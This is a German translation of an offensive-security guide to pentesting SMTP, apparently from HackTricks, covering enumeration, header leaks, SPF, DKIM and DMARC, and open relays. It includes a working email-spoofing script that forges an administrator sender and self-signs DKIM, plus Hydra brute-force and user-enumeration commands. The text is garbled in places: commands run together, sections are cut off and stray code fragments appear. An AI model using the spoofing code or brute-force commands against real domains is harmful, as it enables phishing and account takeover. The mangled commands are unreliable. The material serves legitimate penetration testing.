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Grundinformationen
Das Simple Mail Transfer Protocol (SMTP) ist ein Protokoll, das innerhalb der TCP/IP-Suite für das Senden und Empfangen von E-Mails verwendet wird. Aufgrund seiner Einschränkungen beim Warten von Nachrichten am Empfängerende wird SMTP häufig zusammen mit POP3 oder IMAP eingesetzt. Diese zusätzlichen Protokolle ermöglichen es Benutzern, Nachrichten auf einem Serverpostfach zu speichern und sie regelmäßig herunterzuladen.
In der Praxis ist es üblich, dass E-Mail-ProgrammeSMTP zum Senden von E-Mails verwenden, während sie POP3 oder IMAP zum Empfangen nutzen. Auf Unix-basierten Systemen sticht sendmail als der am häufigsten verwendete SMTP-Server für E-Mail-Zwecke hervor. Das kommerzielle Paket Sendmail umfasst einen POP3-Server. Darüber hinaus bietet Microsoft Exchange einen SMTP-Server und die Möglichkeit, POP3-Unterstützung hinzuzufügen.
Standardport: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
EMAIL-Header
Wenn Sie die Möglichkeit haben, das Opfer dazu zu bringen, Ihnen eine E-Mail zu senden (zum Beispiel über das Kontaktformular der Webseite), tun Sie es, denn Sie könnten über die interne Topologie des Opfers lernen, indem Sie die Header der E-Mail ansehen.
Sie können auch eine E-Mail von einem SMTP-Server erhalten, indem Sie versuchen, eine E-Mail an eine nicht existierende Adresse an diesen Server zu senden (da der Server dem Angreifer eine NDN-E-Mail senden wird). Stellen Sie jedoch sicher, dass Sie die E-Mail von einer erlaubten Adresse senden (überprüfen Sie die SPF-Richtlinie) und dass Sie NDN-Nachrichten empfangen können.
Sie sollten auch versuchen, verschiedene Inhalte zu senden, da Sie möglicherweise interessantere Informationen in den Headern finden, wie: X-Virus-Scanned: by av.domain.com
Sie sollten die EICAR-Testdatei senden.
Die Erkennung des AV kann es Ihnen ermöglichen, bekannte Schwachstellen auszunutzen.
Grundlegende Aktionen
Banner Grabbing/Grundlegende Verbindung
SMTP:
nc-vn<IP>25
SMTPS:
openssls_client-crlf-connectsmtp.mailgun.org:465#SSL/TLS without starttls commandopenssls_client-starttlssmtp-crlf-connectsmtp.mailgun.org:587
Oder automatisieren Sie dies mit dem nmap-Plugin smtp-ntlm-info.nse
Interner Servername - Informationsoffenlegung
Einige SMTP-Server vervollständigen automatisch die Adresse eines Absenders, wenn der Befehl "MAIL FROM" ohne eine vollständige Adresse ausgegeben wird, und geben ihren internen Namen preis:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Überprüfen Sie, ob Sie einige Passwörter aus den Paketen zu Port 25 schnüffeln.
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DSN-Berichte
Zustellstatusbenachrichtigungsberichte: Wenn Sie eine E-Mail an eine Organisation an eine ungültige Adresse senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie eine E-Mail zurück an Sie sendet. Header der zurückgesendeten E-Mail werden mögliche sensible Informationen enthalten (wie IP-Adresse der Mail-Services, die mit den Berichten interagiert haben, oder Informationen über Antivirensoftware).
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## SMTP Smuggling
Die SMTP Smuggling-Sicherheitsanfälligkeit ermöglichte es, alle SMTP-Schutzmaßnahmen zu umgehen (siehe den nächsten Abschnitt für weitere Informationen zu den Schutzmaßnahmen). Für weitere Informationen zu SMTP Smuggling siehe:
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## Mail Spoofing Gegenmaßnahmen
Organisationen wird es durch den Einsatz von **SPF**, **DKIM** und **DMARC** untersagt, unbefugte E-Mails in ihrem Namen zu versenden, da das Spoofing von SMTP-Nachrichten einfach ist.
Ein **vollständiger Leitfaden zu diesen Gegenmaßnahmen** ist verfügbar unter [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
SPF [wurde 2014 "veraltet"](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Das bedeutet, dass Sie anstelle der Erstellung eines **TXT-Datensatzes** in `_spf.domain.com` diesen in `domain.com` mit der **gleichen Syntax** erstellen.\
Darüber hinaus ist es recht üblich, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden, um frühere SPF-Datensätze wiederzuverwenden.
</div>
**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem eine Liste autorisierter Mailserver abgefragt wird, die von den Organisationen definiert wurde. Diese Liste, die IP-Adressen/-Bereiche, Domains und andere Entitäten **auflistet, die berechtigt sind, E-Mails im Namen eines Domainnamens zu senden**, enthält verschiedene "**Mechanismen**" im SPF-Datensatz.
#### Mechanismen
Von [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mechanismus | Beschreibung |
| ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen übereinstimmen. |
| A | Wenn der Domainname einen Adressdatensatz (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er übereinstimmen. |
| IP4 | Wenn der Absender in einem bestimmten IPv4-Adressbereich ist, passt er. |
| IP6 | Wenn der Absender in einem bestimmten IPv6-Adressbereich ist, passt er. |
| MX | Wenn der Domainname einen MX-Datensatz hat, der auf die Adresse des Absenders aufgelöst wird, wird er übereinstimmen (d.h. die E-Mail kommt von einem der eingehenden Mailserver der Domain). |
| PTR | Wenn der Domainname (PTR-Datensatz) für die Adresse des Clients im angegebenen Domainnamen ist und dieser Domainname auf die Adresse des Clients aufgelöst wird (vorwärts bestätigte Reverse-DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte, wenn möglich, vermieden werden. |
| EXISTS | Wenn der angegebene Domainname auf eine beliebige Adresse aufgelöst wird, passt er (unabhängig von der Adresse, auf die er aufgelöst wird). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. |
| INCLUDE | Verweist auf die Richtlinie einer anderen Domain. Wenn die Richtlinie dieser Domain besteht, besteht dieser Mechanismus. Wenn die eingeschlossene Richtlinie jedoch fehlschlägt, wird die Verarbeitung fortgesetzt. Um vollständig an die Richtlinie einer anderen Domain zu delegieren, muss die Umleitungs-Erweiterung verwendet werden. |
| REDIRECT | <p>Eine Umleitung ist ein Verweis auf einen anderen Domainnamen, der eine SPF-Richtlinie hostet. Sie ermöglicht es mehreren Domains, dieselbe SPF-Richtlinie zu teilen. Sie ist nützlich, wenn man mit einer großen Anzahl von Domains arbeitet, die dieselbe E-Mail-Infrastruktur teilen.</p><p>Die SPF-Richtlinie der im Umleitungsmechanismus angegebenen Domain wird verwendet.</p> |
Es ist auch möglich, **Qualifizierer** zu identifizieren, die **angeben, was zu tun ist, wenn ein Mechanismus übereinstimmt**. Standardmäßig wird der **Qualifizierer "+"** verwendet (wenn also ein Mechanismus übereinstimmt, bedeutet das, dass es erlaubt ist).\
Normalerweise werden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** oder **-all** bemerken. Dies wird verwendet, um anzuzeigen, dass **wenn der Absender mit keiner SPF-Richtlinie übereinstimmt, die E-Mail als untrusted (\~) oder abgelehnt (-) markiert werden sollte.**
#### Qualifizierer
Jeder Mechanismus innerhalb der Richtlinie kann mit einem der vier Qualifizierer vorangestellt werden, um das beabsichtigte Ergebnis zu definieren:
* **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifizierer an, wodurch `+mx` gleichwertig zu `mx` ist.
* **`?`**: Stellt ein NEUTRAL-Ergebnis dar, das ähnlich wie NONE (keine spezifische Richtlinie) behandelt wird.
* **`~`**: Bezeichnet SOFTFAIL und dient als Mittelweg zwischen NEUTRAL und FAIL. E-Mails, die dieses Ergebnis erfüllen, werden typischerweise akzeptiert, aber entsprechend markiert.
* **`-`**: Gibt FAIL an und deutet darauf hin, dass die E-Mail vollständig abgelehnt werden sollte.
Im folgenden Beispiel wird die **SPF-Richtlinie von google.com** veranschaulicht. Beachten Sie die Einbeziehung von SPF-Richtlinien aus verschiedenen Domains innerhalb der ersten SPF-Richtlinie:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Traditionell war es möglich, jeden Domainnamen zu fälschen, der keinen korrekten/keinen SPF-Eintrag hatte. Heutzutage wird E-Mail, die von einer Domain ohne einen gültigen SPF-Eintrag kommt, wahrscheinlich automatisch abgelehnt/als untrusted markiert.
DKIM wird verwendet, um ausgehende E-Mails zu signieren, sodass sie von externen Mail Transfer Agents (MTAs) durch den Abruf des öffentlichen Schlüssels der Domain aus dem DNS validiert werden können. Dieser öffentliche Schlüssel befindet sich im TXT-Eintrag einer Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selector als auch den Domainnamen kennen.
Um beispielsweise den Schlüssel anzufordern, sind der Domainname und der Selector erforderlich. Diese können im E-Mail-Header DKIM-Signature gefunden werden, z.B. d=gmail.com;s=20120113.
Ein Befehl, um diese Informationen abzurufen, könnte so aussehen:
dig20120113._domainkey.gmail.comTXT|grepp=# This command would return something like:20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC verbessert die E-Mail-Sicherheit, indem es auf den SPF- und DKIM-Protokollen aufbaut. Es legt Richtlinien fest, die Mailserver bei der Verarbeitung von E-Mails aus einer bestimmten Domain leiten, einschließlich der Handhabung von Authentifizierungsfehlern und wo Berichte über E-Mail-Verarbeitungsaktionen gesendet werden sollen.
Um den DMARC-Eintrag zu erhalten, müssen Sie die Subdomain _dmarc abfragen
Vonhier.
Sie müssen separate SPF-Einträge für jede Subdomain haben, von der Sie E-Mails senden möchten.
Das Folgende wurde ursprünglich auf openspf.org veröffentlicht, das früher eine großartige Ressource für diese Art von Dingen war.
Die Dämonenfrage: Was ist mit Subdomains?
Wenn ich eine E-Mail von pielovers.demon.co.uk erhalte und es keine SPF-Daten für pielovers gibt, sollte ich dann eine Ebene zurückgehen und SPF für demon.co.uk testen? Nein. Jede Subdomain bei Demon ist ein anderer Kunde, und jeder Kunde könnte seine eigene Richtlinie haben. Es wäre nicht sinnvoll, dass die Richtlinie von Demon standardmäßig für alle seine Kunden gilt; wenn Demon das möchte, kann es SPF-Einträge für jede Subdomain einrichten.
Daher ist der Rat an SPF-Publisher: Sie sollten einen SPF-Eintrag für jede Subdomain oder jeden Hostnamen hinzufügen, der einen A- oder MX-Eintrag hat.
Websites mit Wildcard-A- oder MX-Einträgen sollten auch einen Wildcard-SPF-Eintrag in der Form haben: * IN TXT "v=spf1 -all"
Das macht Sinn - eine Subdomain kann sich sehr wohl an einem anderen geografischen Standort befinden und eine sehr unterschiedliche SPF-Definition haben.
Open Relay
Wenn E-Mails gesendet werden, ist es entscheidend, sicherzustellen, dass sie nicht als Spam markiert werden. Dies wird oft durch die Verwendung eines Relay-Servers, der vom Empfänger vertraut wird, erreicht. Ein häufiges Problem ist jedoch, dass Administratoren möglicherweise nicht vollständig darüber informiert sind, welche IP-Bereiche sicher sind, um sie zuzulassen. Dieses mangelnde Verständnis kann zu Fehlern bei der Einrichtung des SMTP-Servers führen, ein Risiko, das häufig in Sicherheitsbewertungen identifiziert wird.
Ein Workaround, den einige Administratoren verwenden, um Probleme bei der E-Mail-Zustellung zu vermeiden, insbesondere in Bezug auf die Kommunikation mit potenziellen oder laufenden Kunden, besteht darin, Verbindungen von jeder IP-Adresse zuzulassen. Dies geschieht, indem der Parameter mynetworks des SMTP-Servers so konfiguriert wird, dass er alle IP-Adressen akzeptiert, wie unten gezeigt:
mynetworks=0.0.0.0/0
Um zu überprüfen, ob ein Mailserver ein offenes Relay ist (was bedeutet, dass er E-Mails von jeder externen Quelle weiterleiten könnte), wird das Tool nmap häufig verwendet. Es enthält ein spezifisches Skript, das dafür entwickelt wurde, dies zu testen. Der Befehl, um einen ausführlichen Scan auf einem Server (zum Beispiel mit der IP 10.10.10.10) an Port 25 mit nmap durchzuführen, lautet:
# This will send a test email from test@victim.com to destination@gmail.compython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com# But you can also modify more options of the emailpython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com--subjectTEST--senderadministrator@victim.com
Wenn Sie einen Fehler bei der Verwendung der dkim Python-Bibliothek beim Parsen des Schlüssels erhalten, können Sie diesen folgenden verwenden.
HINWEIS: Dies ist nur ein schneller, unsauberer Fix, um schnelle Überprüfungen in Fällen durchzuführen, in denen aus irgendeinem Grund der openssl private key nicht von dkim geparst werden kann.
# Dies wird eine nicht signierte Nachricht sendenmail("your_email@gmail.com", "Testbetreff!", "hey! Dies ist ein Test", "Von: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
Normalerweise, wenn installiert, befindet sich in /etc/postfix/master.cfSkripte zur Ausführung, wenn beispielsweise eine neue E-Mail von einem Benutzer empfangen wird. Zum Beispiel bedeutet die Zeile flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}, dass /etc/postfix/filtering ausgeführt wird, wenn eine neue E-Mail vom Benutzer mark empfangen wird.
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
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